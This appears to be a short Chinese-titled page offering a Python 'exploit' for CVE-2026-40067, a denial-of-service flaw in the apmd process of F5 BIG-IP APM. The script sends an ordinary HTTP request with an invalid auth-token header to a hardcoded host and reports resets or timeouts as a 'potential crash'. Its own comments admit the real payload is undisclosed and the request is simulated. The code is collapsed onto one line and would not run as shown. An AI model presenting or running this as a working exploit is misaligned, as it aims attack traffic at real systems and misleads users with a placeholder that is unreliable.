CVE-2026-40067 F5 BIG-IP APM apmd进程拒绝服务漏洞

import socket import sys # Target IP and Port configuration TARGET_IP = "192.168.1.100" TARGET_PORT = 443 def send_exploit(): """ Attempts to trigger the CVE-2026-40067 vulnerability. Note: The specific payload is undisclosed. This script demonstrates the concept. """ try: # Establish TCP connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) print(f"[*] Connecting to {TARGET_IP}:{TARGET_PORT}...") s.connect((TARGET_IP, TARGET_PORT)) # Crafting a potential malicious payload # Since the traffic is undisclosed, we simulate a malformed request # that targets the APM policy handler. payload = b"GET / HTTP/1.1\r\n" payload += b"Host: " + TARGET_IP.encode() + b"\r\n" payload += b"User-Agent: CVE-2026-40067-Test\r\n" payload += b"X-F5-Auth-Token: invalid\r\n" payload += b"\r\n" # Send payload s.send(payload) print("[+] Payload sent.") # Check for response (Crash may result in no response or RST) response = s.recv(1024) print(f"[*] Response received: {response}") except ConnectionResetError: print("[!] Connection reset by peer. Potential crash detected.") except socket.timeout: print("[!] Connection timed out. Potential hang detected.") except Exception as e: print(f"[-] An error occurred: {e}") finally: s.close() if __name__ == "__main__": send_exploit()